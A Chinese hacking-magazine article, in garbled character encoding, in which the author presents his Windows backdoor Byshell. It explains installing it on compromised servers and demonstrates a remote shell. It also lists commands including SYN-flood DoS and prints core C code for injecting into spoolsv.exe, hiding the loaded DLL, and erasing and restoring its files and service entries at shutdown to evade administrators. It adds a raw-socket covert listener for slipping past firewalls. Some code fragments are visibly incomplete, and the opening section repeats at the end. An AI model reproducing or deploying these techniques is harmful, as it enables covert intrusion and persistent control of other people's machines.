Byshell后門:無(wú)進(jìn)程無(wú)DLL無(wú)硬盤文件
更新時(shí)間:2007年01月16日 00:00:00 作者:
適合讀者:入侵愛(ài)好者、網(wǎng)絡(luò)管理員、黑器迷
前置知識(shí):C基本語(yǔ)法
劉流:后門是黑客們永恒的話題,在各大網(wǎng)站如163、Yahoo、北大等相繼被黑之后,越來(lái)越多的人開(kāi)始關(guān)注服務(wù)器的安全,而各種后門技術(shù)也空前地火暴起來(lái)!今天我們將給大家?guī)?lái)一個(gè)重量級(jí)后門的使用、編程方法,讓廣大新手朋友們有好后門玩,讓編程技術(shù)愛(ài)好者有好的后門編程技術(shù)可以借鑒。當(dāng)然,更多的新技術(shù)還等你去發(fā)掘。
Byshell后門:無(wú)進(jìn)程無(wú)DLL無(wú)硬盤文件無(wú)啟動(dòng)項(xiàng)
現(xiàn)在網(wǎng)絡(luò)上流行的木馬后門類工具很多,但可以稱為精品的則沒(méi)有多少,大多數(shù)新手們還在使用Radmin一類的軟件來(lái)替代后門程序。不幸的是,它們并不是一個(gè)真正的后門,極容易服務(wù)器管理員察覺(jué),因此肉雞經(jīng)常飛掉也就很正常了。
一個(gè)合格的后門至少應(yīng)該做到不能有陌生進(jìn)程存在于任務(wù)管理器里,給后門進(jìn)程起一個(gè)看起來(lái)像系統(tǒng)進(jìn)程的名字只是掩耳盜鈴;不能在注冊(cè)表Run啟動(dòng)項(xiàng)或者服務(wù)啟動(dòng)項(xiàng)里留下眾所周知的啟動(dòng)鍵值或新增服務(wù),當(dāng)然更不能直接寫開(kāi)始菜單的啟動(dòng)項(xiàng);不能如同無(wú)視管理員或者防火墻一般明目張膽地打開(kāi)陌生端口;像Bits.dll那樣等待連接時(shí)無(wú)端口,連接時(shí)開(kāi)端口的程序,在端口檢查時(shí)只有30%的幾率能逃脫。另外后門最好能隱藏自己生成的文件,或者避免感染一些管理員經(jīng)常檢查完整性的系統(tǒng)文件。前三點(diǎn)沒(méi)有做到的后門程序不是一個(gè)“比較高級(jí)”的后門程序,當(dāng)然在使用的時(shí)候也就沒(méi)有穩(wěn)定性、保密性可言了。
按照我的分類,現(xiàn)在常見(jiàn)的后門大概可以分成三個(gè)“級(jí)別”:
★應(yīng)用級(jí)。如WinShell、Radmin、冰河等,它們基本沒(méi)有采取別的方法來(lái)隱藏自己,只是一個(gè)普通的能夠?qū)崿F(xiàn)遠(yuǎn)程控制的應(yīng)用程序而已。
★系統(tǒng)級(jí)。多多少少采用了一些Ring3下隱藏行蹤的編程技術(shù),用得少的比如Bits.dll,Portless,用得多的比如Hxdef。
小提示:Hxdef雖然有一個(gè)驅(qū)動(dòng),但是它對(duì)系統(tǒng)的Hook全都是Ring3的,因此大家傾向于稱它為系統(tǒng)級(jí)而非內(nèi)核級(jí)后門。
★內(nèi)核級(jí),后門主要部分工作在Ring0,因此有很強(qiáng)的隱蔽性和殺傷力。但是公布的完整的內(nèi)核級(jí)后門數(shù)量不多,兼容性也不近人意。這個(gè)話題在Phrack和Rootkit.com上有很多有價(jià)值的討論和成果公布。
我在自己寫的系統(tǒng)級(jí)后門Byshell v0.64中盡力做到以上的要求,然而由于個(gè)人能力有限,功能的實(shí)現(xiàn)不夠全面、穩(wěn)定,希望大家能給我提好的意見(jiàn)或者替我升級(jí)版本。在這篇文章中我將和大家討論這個(gè)開(kāi)源后門的設(shè)計(jì)、實(shí)現(xiàn),當(dāng)然還有實(shí)際的應(yīng)用舉例,希望高手不要扔板磚,大家一起討論。
應(yīng)用舉例
這是一個(gè)實(shí)現(xiàn)了無(wú)進(jìn)程、無(wú)DLL、無(wú)硬盤文件、無(wú)啟動(dòng)項(xiàng)的后門程序。利用線程注射DLL到系統(tǒng)進(jìn)程,解除DLL映射并刪除自身文件和啟動(dòng)項(xiàng),關(guān)機(jī)時(shí)恢復(fù)。大量地借鑒和學(xué)習(xí)了農(nóng)民Cmdbind2的思想,在這里對(duì)農(nóng)民前輩無(wú)私共享的精神致以120分感謝。我允許此軟件及其源代碼自由傳播,但引用時(shí)應(yīng)注明出處。在聯(lián)系作者并得到同意之前,不得將此軟件改編或刪選后用作商業(yè)用途,可用作學(xué)習(xí)和私人用途。
Byshell 0.64支持的命令列表如下:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等,具體用法請(qǐng)查看說(shuō)明書(shū)。
小提示:說(shuō)明書(shū)上遺漏了refresh命令,它的作用是清除死掉的連接,并且給你機(jī)會(huì)重新連接,也可以在你換了一個(gè)IP以后,清除原來(lái)的連接(否則不能正常連接)。
安裝后門時(shí)只要把Ntboot.exe和Ntboot.dll上傳到肉雞同一目錄并且執(zhí)行“ntboot.exe –install”即可,安裝完成后可手動(dòng)刪除Ntboot.exe和Ntboot.dll,連接的時(shí)候用By064cli.exe。注意Byshell v0.64不支持本機(jī)對(duì)本機(jī)測(cè)試,v 0.63可以。現(xiàn)在我用v 0.63演示一下使用的效果:
1.連接:
please input the server ip address
127.0.0.1
127.0.0.1 will be connected
input the password(the default one is 'by')
by
#cmddir c:
驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。
卷的序列號(hào)是 CCB2-D751
c: 的目錄
2005-01-29 14:22 <DIR> Documents and Settings
2004-10-01 19:24 <DIR> Inetpub
2004-11-17 20:56 <DIR> Intel
2004-10-30 14:18 24,576 isapilog.dll
2004-11-11 00:55 24,576 magic_asp.dll
2005-02-07 21:47 <DIR> My Music
2004-12-21 00:05 124 Operate.ini
2005-01-18 22:38 <DIR> Program Files
2005-02-07 23:31 <DIR> ubackup
2005-02-02 17:54 <DIR> WINNT
3 個(gè)文件 49,276 字節(jié)
7 個(gè)目錄 124,207,104 可用字節(jié)
2.獲得并結(jié)束Shell:
#shell
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權(quán)所有 1985-2000 Microsoft Corp.
C:WINNTsystem32>cd..
cd..
C:WINNT>cd..
cd..
C:>dir
dir
驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。
卷的序列號(hào)是 CCB2-D751
C: 的目錄
……省略
3 個(gè)文件 49,276 字節(jié)
7 個(gè)目錄 124,207,104 可用字節(jié)
C:>endshell
shell terminated
#byver
ByShell server version 0.63
Released Dec 19,2004 Copyleft@ "by" co.ltd.
3.進(jìn)程列舉與Kill。這里有BUG,排列不整齊。
#pslist
process:
pid filename num_thread parentpid
8 System 43 0
184 smss.exe 6 8
208 csrss.exe 11 184
232 winlogon.exe 19 184
260 services.exe 31 232
272 lsass.exe 17 232
456 svchost.exe 11 260
488 SPOOLSV.EXE 14 260
524 msdtc.exe 21 260
636 svchost.exe 18 260
656 llssrv.exe 9 260
688 sqlservr.exe 28 260
776 winmgmt.exe 3 260
812 dfssvc.exe 2 260
832 inetinfo.exe 29 260
856 mssearch.exe 6 260
1224 svchost.exe 11 260
1176 explorer.exe 19 1172
1356 igfxtray.exe 2 1176
1404 PFWMain.exe 4 1176
1412 SOUNDMAN.EXE 2 1176
1428 realsched.exe 4 1176
1436 internat.exe 1 1176
1444 sqlmangr.exe 3 1176
1280 BitComet.exe 9 1176
328 notepad.exe 2 1176
1196 MDM.EXE 5 456
1512 conime.exe 1 1088
1520 cmd.exe 1 488
1504 by063cli.exe 1 1176
#pskill1428
OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)
#modlist1520
mods of 1520:
module_id module_name module_path
1 ntdll.dll C:WINNTSystem32ntdll.dll
1 KERNEL32.dll C:WINNTsystem32KERNEL32.dll
1 USER32.dll C:WINNTsystem32USER32.dll
1 GDI32.DLL C:WINNTsystem32GDI32.DLL
1 ADVAPI32.dll C:WINNTsystem32ADVAPI32.dll
1 RPCRT4.DLL C:WINNTsystem32RPCRT4.DLL
1 MSVCRT.dll C:WINNTsystem32MSVCRT.dll
1 IMM32.DLL C:WINNTSystem32IMM32.DLL
#
好了,就介紹這三個(gè)最普通的功能吧。其實(shí)在很多場(chǎng)合,這三個(gè)功能是最基本的功能,也是最難確保穩(wěn)定性的三個(gè)問(wèn)題疑難,不過(guò)這個(gè)后門最突出的特色應(yīng)該是無(wú)進(jìn)程、無(wú)DLL、無(wú)硬盤文件、無(wú)啟動(dòng)項(xiàng)的實(shí)現(xiàn),在實(shí)際的使用過(guò)程中相信大家會(huì)發(fā)現(xiàn)它的優(yōu)點(diǎn),下面我們從設(shè)計(jì)和編程的角度來(lái)看這些功能是如何實(shí)現(xiàn)的。
設(shè)計(jì)&編程
在這一部分中我不列舉完整的代碼,因?yàn)樗L(zhǎng)了,我將引用關(guān)鍵代碼來(lái)說(shuō)明編寫思路。
首先是怎樣隱藏自身的進(jìn)程?一個(gè)普遍采用的方法就是遠(yuǎn)程線程注射。但它最大的問(wèn)題是注射代碼到了遠(yuǎn)程進(jìn)程的地址空間后,由于地址空間的變化,依賴于原來(lái)地址空間的所有直接尋址指令需要重定位。這點(diǎn)對(duì)匯編老手來(lái)手是很容易理解的,對(duì)高級(jí)語(yǔ)言程序編寫者來(lái)說(shuō)這意味著所有顯式和非顯式的全局變量(如API地址和字符串)都需要進(jìn)行手工重定位。
相比于病毒程序,我們很幸福,因?yàn)槲覀兊牡淖⑸淦骺梢酝瑫r(shí)向遠(yuǎn)程進(jìn)程注射一個(gè)“全局變量塊”,再把這個(gè)塊的地址傳送到遠(yuǎn)程函數(shù),然后在遠(yuǎn)程函數(shù)中使用這個(gè)塊來(lái)替代直接尋址的全局變量,從而免于編寫完全“自身可重定位”的代碼。后者被認(rèn)為是非常煩瑣并且?guī)缀鯚o(wú)法用高級(jí)語(yǔ)言實(shí)現(xiàn)的。但即使是這樣,編寫可以重定位的代碼復(fù)雜度仍然比較大,寫功能模塊比較多的后門程序?qū)?huì)非常累。農(nóng)民前輩的Cmdbind2實(shí)現(xiàn)了完全手工重定位的注射后門,我們看他的源代碼可以發(fā)現(xiàn)他僅僅在實(shí)現(xiàn)最普通的Bind Shell上就花費(fèi)了很多代碼,像ByShell v0.64這樣的功能復(fù)雜的后門,如果也這樣實(shí)現(xiàn)功能的話,無(wú)疑是難以想象的。
取代直接編寫可重定位代碼的普遍方法是在注射進(jìn)入遠(yuǎn)程進(jìn)程的函數(shù)中加載一個(gè)DLL,這樣的話系統(tǒng)將為你做重定位工作,后門主要功能實(shí)現(xiàn)在DLL中。例如以前的黑防中,單長(zhǎng)虹介紹過(guò)這種方法。這種方法也有一個(gè)小弊端就是管理員在審核被你注射的進(jìn)程時(shí)會(huì)發(fā)現(xiàn)一個(gè)不明的DLL從而導(dǎo)致后門暴露。農(nóng)民前輩提出了一種思路,先加載DLL,然后把這一塊內(nèi)存全部拷貝到其它地方,卸載DLL,再申請(qǐng)與原來(lái)加載DLL相同的地址空間,把其它地方“寄存”的DLL代碼拷貝回這個(gè)空間。然后直接調(diào)用這個(gè)DLL,就解決了所有的重定位問(wèn)題,還不會(huì)在被注射進(jìn)程的加載模塊列表里出現(xiàn)我們的DLL。農(nóng)民前輩并沒(méi)有實(shí)現(xiàn)他的想法為代碼,一會(huì)給出我用這種方法實(shí)現(xiàn)的主要代碼。
進(jìn)行比較討論時(shí)我們也來(lái)討論其它的系統(tǒng)級(jí)隱藏進(jìn)程方法。Bingle采用替代Svchost啟動(dòng)的DLL服務(wù)的方法來(lái)加載后門,ZXshell也使用了這種方法。這種方法的主要問(wèn)題是不穩(wěn)定,必須改寫注冊(cè)表敏感鍵值并在Svchost.exe的加載模塊中出現(xiàn)不明模塊。當(dāng)然如果用和原來(lái)同名的木馬DLL來(lái)替代原來(lái)的DLL可以避免以上問(wèn)題,但是又會(huì)遇到新的問(wèn)題,就是怎樣繞過(guò)Windows的系統(tǒng)文件保護(hù)和管理員例行的系統(tǒng)文件完整性檢查。
Hxdef統(tǒng)一采用Hook ring3 API(主要是Ntdll.dll的NativeAPI)的方法完成自身各個(gè)方面的隱藏。這種方法對(duì)于一般的Ring3檢查效果很好,并且可以部分實(shí)現(xiàn)端口復(fù)用。它的主要問(wèn)題有Ring3下Hook的手段不多,而且比較“興師動(dòng)眾”(Hxdef向系統(tǒng)中所有進(jìn)程注射木馬數(shù)據(jù)),效果還不是很好,極易被Ring0的RootKit Detector發(fā)現(xiàn),如ICESWORD。最后還有就是編程煩瑣。
我選用了注射遠(yuǎn)程進(jìn)程Spoolsv.exe,假脫機(jī)打印服務(wù)的方法,并且在注射到遠(yuǎn)程的函數(shù)中加載然后卸載了一個(gè)木馬DLL——Ntboot.dll,注射器則是Ntboot.exe。請(qǐng)看代碼:
void injcode(){HANDLE prohandle;//注射對(duì)象進(jìn)程句柄
DWORD pid=0;//對(duì)象進(jìn)程PID
int ret; //臨時(shí)變量
//使用toolhelp32函數(shù)得到注射對(duì)象PID
Sleep(1000);
HANDLE snapshot;
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32);
char injexe[]="spoolsv.exe";//注射對(duì)象進(jìn)程,大家可以自己改
for(Process32First(snapshot,&processsnap);
Process32Next(snapshot,&processsnap);)
}
CloseHandle(snapshot);//得到PID
//取得SE_DEBUG_NAME權(quán)限
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);
//現(xiàn)在注射
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);
DWORD WINAPI injfunc(LPVOID);//Injfunc就是注射的函數(shù),需要手工重定位
//下面取得需要用的API地址并寫進(jìn)將要注射的全局變量塊,Injapistr是全局結(jié)構(gòu),是全局變量塊的內(nèi)容
HMODULE hModule;
LPVOID paramaddr;//全局變量塊地址
hModule=LoadLibrary("kernel32.dll");
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA");
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary");
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr");
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree");
//在目標(biāo)進(jìn)程里分配“全局變量塊”,并寫入API地址
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);
//寫入Injfunc函數(shù)
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);
//激活遠(yuǎn)程線程
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0);
CloseHandle(prohandle);
return;
}
//注射到遠(yuǎn)程的函數(shù),負(fù)責(zé)完成加載和卸載功能復(fù)雜的木馬DLL的艱巨任務(wù)
DWORD WINAPI injfunc(LPVOID paramaddr){
//paramaddr,全局變量塊首址。所有靜態(tài)全局變量都需要重定位(直接尋址的),而動(dòng)態(tài)分配(堆,Virtualalloc)和棧變量不需要,因?yàn)樗麄兪褂瞄g接尋址。其實(shí)字符串也可以在剛才寫進(jìn)全局變量塊,但是字符串不多,這里直接用ASM搞定。
char ntboot[16];
char msgbox[16];//變量名字起錯(cuò)了,應(yīng)該是DLL的后門主函數(shù)名。汗,希望不要誤導(dǎo)大家。
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr;
__asm{
mov ntboot,'n'
mov ntboot+1,'t'
mov ntboot+2,'b'
mov ntboot+3,'o'
mov ntboot+4,'o'
mov ntboot+5,'t'
mov ntboot+6,'.'
mov ntboot+7,'d'
mov ntboot+8,'l'
mov ntboot+9,'l'
mov ntboot+10,0
mov msgbox,'C'
mov msgbox+1,'m'
mov msgbox+2,'d'
mov msgbox+3,'S'
mov msgbox+4,'e'
mov msgbox+5,'r'
mov msgbox+6,'v'
mov msgbox+7,'i'
mov msgbox+8,'c'
mov msgbox+9,'e'
mov msgbox+10,0
}
HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加載Ntboot.dll
DWORD (WINAPI *myCmdService)(LPVOID);//DLL后門的主函數(shù)名
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));
//各位看官,以下是精華了:
unsigned int memsize=0;
void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(tempdll,hModule,0x23000);
//0x23000是DLL的大小,不多不少。如果你改變了Ntboot.dll的大小請(qǐng)注意調(diào)整這個(gè)值
pinjapistr->myFreeLibrary(hModule);
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(hModule,tempdll,0x23000);
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT);
//結(jié)束,DLL沒(méi)有被加載,但是又可以發(fā)揮作用,爽吧?!
myCmdService(0);//調(diào)用后門主函數(shù)。
return 0;
}
下一個(gè)問(wèn)題是啟動(dòng)項(xiàng)和文件。Ntboot.exe是后門的注射器,將自己作為服務(wù)啟動(dòng),我們決不能讓管理員發(fā)現(xiàn)服務(wù)鍵值。怎么辦?這個(gè)也是農(nóng)民前輩提出的思想:先刪除所有后門文件和服務(wù),設(shè)定一個(gè)關(guān)機(jī)通知和一個(gè)一鍵關(guān)機(jī)鉤子,在即將關(guān)機(jī)的時(shí)候?qū)懭胛募头?wù)項(xiàng)。同樣的,一開(kāi)機(jī)這個(gè)服務(wù)只要啟動(dòng)了就會(huì)先把自己刪除。這樣就實(shí)現(xiàn)了無(wú)文件和無(wú)啟動(dòng)項(xiàng)。管理員用注冊(cè)表對(duì)比將不能發(fā)現(xiàn)異常,也無(wú)處尋找我們的后門文件??匆幌略O(shè)定一個(gè)關(guān)機(jī)通知和一個(gè)一鍵關(guān)機(jī)鉤子的代碼:
DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
if(!msghook)
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret)
while (GetMessage(&msg, NULL, 0, 0)){void resume();
if(msg.message==WM_QUERYENDSESSION)
}
UnhookWindowsHookEx(msghook);
return 0;
}
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函數(shù),顧名思義就是恢復(fù)文件啟動(dòng)項(xiàng)
break;
default:
break;
}
return 0;
}
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
EVENTMSG * pevent=(EVENTMSG *)lParam;
if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF)
}
return CallNextHookEx(msghook,code,wParam,lParam);
}
與Hxdef的Hook文件注冊(cè)表的Native API相比,這種辦法的好處是根本就不存在文件,也不會(huì)有什么Ring0的Rootkit Detector發(fā)現(xiàn)被Hook API隱藏的文件和注冊(cè)表項(xiàng)。壞處是如果對(duì)方直接拔電源關(guān)機(jī)我們就“安息”了。于是我們就會(huì)安慰自己說(shuō):這個(gè)后門有足夠的隱蔽性,不會(huì)讓對(duì)方懷疑到中了后門,以至于采用掉電關(guān)機(jī)的BT手段。當(dāng)然如果你用Hxdef,那么相信我,現(xiàn)在的Rootkit Detector很普遍,Hxdef已經(jīng)成為眾矢之的了,在管理員檢查時(shí)也會(huì)“安息”得很快的。
最后是怎樣實(shí)現(xiàn)無(wú)端口(像用Rootkit隱藏掉端口那種不叫無(wú)端口。那種東西不但無(wú)法穿過(guò)防火墻還會(huì)在管理員掃描自己的機(jī)器時(shí)暴露),這是Byshell v0.64的弱項(xiàng),Ring3后門本來(lái)難有什么好辦法來(lái)進(jìn)行端口復(fù)用,使用Raw_socket監(jiān)聽(tīng)TCP只能做到Bits.dll那樣的“等待連接時(shí)無(wú)端口”;把自己加載成SPI基礎(chǔ)服務(wù)提供者或者分層服務(wù)提供者,可以截獲所有Ring3網(wǎng)絡(luò)通訊,但會(huì)在注冊(cè)表和系統(tǒng)中留下足夠多的信息從而導(dǎo)致我們后門“安息”。Hxdef的Hook系統(tǒng)中所有進(jìn)程的Recv/WSArecv方法雖然有不能復(fù)用Ring0端口如139,445的弊端,但還是現(xiàn)在看來(lái)比較好的Ring3端口復(fù)用的辦法。到現(xiàn)在為止,Byshell采取的方法是使用Socket_raw的自定義協(xié)議,就是非TCP非UDP協(xié)議進(jìn)行通訊,可以穿越大多軟件防火墻和一些硬件防火墻,但是它的弊端是不保證穿過(guò)所有防火墻,并且不支持Windows XP SP2,因?yàn)楹笳呷∠藢?duì)Socket_raw的支持。我的實(shí)現(xiàn)比較簡(jiǎn)單,就是用一個(gè)協(xié)議號(hào)224監(jiān)聽(tīng)連接和刷新,另一個(gè)協(xié)議號(hào)225傳輸后門數(shù)據(jù),很簡(jiǎn)單:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){goto label2;}
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的連接線程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
TerminateThread(thrdhndl,0);goto label1;}
}
在225的代碼里我實(shí)現(xiàn)了簡(jiǎn)單的差錯(cuò)控制,代碼比較長(zhǎng)這里不列舉了,有興趣的朋友請(qǐng)看源代碼。由于這個(gè)復(fù)用方法不是非??煽?、穩(wěn)定,所以我公布了Byshell v0.63,它直接開(kāi)了一個(gè)TCP端口138,完全不符合后門要求,但是給大家用來(lái)作測(cè)試還是可以的。如果大家發(fā)現(xiàn)Byshell v0.64不是很穩(wěn)定可以試試v0.63。不過(guò)一個(gè)嚴(yán)重的失誤是我在Byshell v0.64的說(shuō)明書(shū)里漏了一個(gè)命令“refresh”,它可以清除萬(wàn)一出現(xiàn)的225連接死掉,并且給你機(jī)會(huì)重新連接。
最后就是Byshell實(shí)現(xiàn)了非常多的命令,比如查看系統(tǒng)信息、執(zhí)行命令、在后門連接中上傳下載,甚至還有SYN洪水攻擊。后門的功能模塊是Work()函數(shù),這樣便于進(jìn)行功能拓展和模塊化編程。針對(duì)它端口復(fù)用不理想的現(xiàn)狀,我會(huì)繼續(xù)升級(jí)。以后可能寫成Hxdef那樣的Ring3復(fù)用,也可能是Ring0的過(guò)濾驅(qū)動(dòng)之類的東西,也希望前輩們繼續(xù)指導(dǎo)我。
我的代碼風(fēng)格并不好,喜歡不分行和緊湊代碼,不過(guò)還是希望大家一起來(lái)開(kāi)發(fā)這個(gè)軟件。在這個(gè)后門的寫作中,3個(gè)人給了我很大的幫助,請(qǐng)?jiān)试S我占用篇幅來(lái)表示對(duì)他們的感謝。他們是谷夕(gxisone),黃鑫(glacier),當(dāng)然還有農(nóng)民,這個(gè)后門應(yīng)該是他們的功勞。
如果有問(wèn)題或者想和我交流,請(qǐng)Mail到baiyuanfan@163.com,謝謝大家對(duì)ByShell和我的關(guān)注和支持。
前置知識(shí):C基本語(yǔ)法
劉流:后門是黑客們永恒的話題,在各大網(wǎng)站如163、Yahoo、北大等相繼被黑之后,越來(lái)越多的人開(kāi)始關(guān)注服務(wù)器的安全,而各種后門技術(shù)也空前地火暴起來(lái)!今天我們將給大家?guī)?lái)一個(gè)重量級(jí)后門的使用、編程方法,讓廣大新手朋友們有好后門玩,讓編程技術(shù)愛(ài)好者有好的后門編程技術(shù)可以借鑒。當(dāng)然,更多的新技術(shù)還等你去發(fā)掘。
Byshell后門:無(wú)進(jìn)程無(wú)DLL無(wú)硬盤文件無(wú)啟動(dòng)項(xiàng)
現(xiàn)在網(wǎng)絡(luò)上流行的木馬后門類工具很多,但可以稱為精品的則沒(méi)有多少,大多數(shù)新手們還在使用Radmin一類的軟件來(lái)替代后門程序。不幸的是,它們并不是一個(gè)真正的后門,極容易服務(wù)器管理員察覺(jué),因此肉雞經(jīng)常飛掉也就很正常了。
一個(gè)合格的后門至少應(yīng)該做到不能有陌生進(jìn)程存在于任務(wù)管理器里,給后門進(jìn)程起一個(gè)看起來(lái)像系統(tǒng)進(jìn)程的名字只是掩耳盜鈴;不能在注冊(cè)表Run啟動(dòng)項(xiàng)或者服務(wù)啟動(dòng)項(xiàng)里留下眾所周知的啟動(dòng)鍵值或新增服務(wù),當(dāng)然更不能直接寫開(kāi)始菜單的啟動(dòng)項(xiàng);不能如同無(wú)視管理員或者防火墻一般明目張膽地打開(kāi)陌生端口;像Bits.dll那樣等待連接時(shí)無(wú)端口,連接時(shí)開(kāi)端口的程序,在端口檢查時(shí)只有30%的幾率能逃脫。另外后門最好能隱藏自己生成的文件,或者避免感染一些管理員經(jīng)常檢查完整性的系統(tǒng)文件。前三點(diǎn)沒(méi)有做到的后門程序不是一個(gè)“比較高級(jí)”的后門程序,當(dāng)然在使用的時(shí)候也就沒(méi)有穩(wěn)定性、保密性可言了。
按照我的分類,現(xiàn)在常見(jiàn)的后門大概可以分成三個(gè)“級(jí)別”:
★應(yīng)用級(jí)。如WinShell、Radmin、冰河等,它們基本沒(méi)有采取別的方法來(lái)隱藏自己,只是一個(gè)普通的能夠?qū)崿F(xiàn)遠(yuǎn)程控制的應(yīng)用程序而已。
★系統(tǒng)級(jí)。多多少少采用了一些Ring3下隱藏行蹤的編程技術(shù),用得少的比如Bits.dll,Portless,用得多的比如Hxdef。
小提示:Hxdef雖然有一個(gè)驅(qū)動(dòng),但是它對(duì)系統(tǒng)的Hook全都是Ring3的,因此大家傾向于稱它為系統(tǒng)級(jí)而非內(nèi)核級(jí)后門。
★內(nèi)核級(jí),后門主要部分工作在Ring0,因此有很強(qiáng)的隱蔽性和殺傷力。但是公布的完整的內(nèi)核級(jí)后門數(shù)量不多,兼容性也不近人意。這個(gè)話題在Phrack和Rootkit.com上有很多有價(jià)值的討論和成果公布。
我在自己寫的系統(tǒng)級(jí)后門Byshell v0.64中盡力做到以上的要求,然而由于個(gè)人能力有限,功能的實(shí)現(xiàn)不夠全面、穩(wěn)定,希望大家能給我提好的意見(jiàn)或者替我升級(jí)版本。在這篇文章中我將和大家討論這個(gè)開(kāi)源后門的設(shè)計(jì)、實(shí)現(xiàn),當(dāng)然還有實(shí)際的應(yīng)用舉例,希望高手不要扔板磚,大家一起討論。
應(yīng)用舉例
這是一個(gè)實(shí)現(xiàn)了無(wú)進(jìn)程、無(wú)DLL、無(wú)硬盤文件、無(wú)啟動(dòng)項(xiàng)的后門程序。利用線程注射DLL到系統(tǒng)進(jìn)程,解除DLL映射并刪除自身文件和啟動(dòng)項(xiàng),關(guān)機(jī)時(shí)恢復(fù)。大量地借鑒和學(xué)習(xí)了農(nóng)民Cmdbind2的思想,在這里對(duì)農(nóng)民前輩無(wú)私共享的精神致以120分感謝。我允許此軟件及其源代碼自由傳播,但引用時(shí)應(yīng)注明出處。在聯(lián)系作者并得到同意之前,不得將此軟件改編或刪選后用作商業(yè)用途,可用作學(xué)習(xí)和私人用途。
Byshell 0.64支持的命令列表如下:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等,具體用法請(qǐng)查看說(shuō)明書(shū)。
小提示:說(shuō)明書(shū)上遺漏了refresh命令,它的作用是清除死掉的連接,并且給你機(jī)會(huì)重新連接,也可以在你換了一個(gè)IP以后,清除原來(lái)的連接(否則不能正常連接)。
安裝后門時(shí)只要把Ntboot.exe和Ntboot.dll上傳到肉雞同一目錄并且執(zhí)行“ntboot.exe –install”即可,安裝完成后可手動(dòng)刪除Ntboot.exe和Ntboot.dll,連接的時(shí)候用By064cli.exe。注意Byshell v0.64不支持本機(jī)對(duì)本機(jī)測(cè)試,v 0.63可以。現(xiàn)在我用v 0.63演示一下使用的效果:
1.連接:
please input the server ip address
127.0.0.1
127.0.0.1 will be connected
input the password(the default one is 'by')
by
#cmddir c:
驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。
卷的序列號(hào)是 CCB2-D751
c: 的目錄
2005-01-29 14:22 <DIR> Documents and Settings
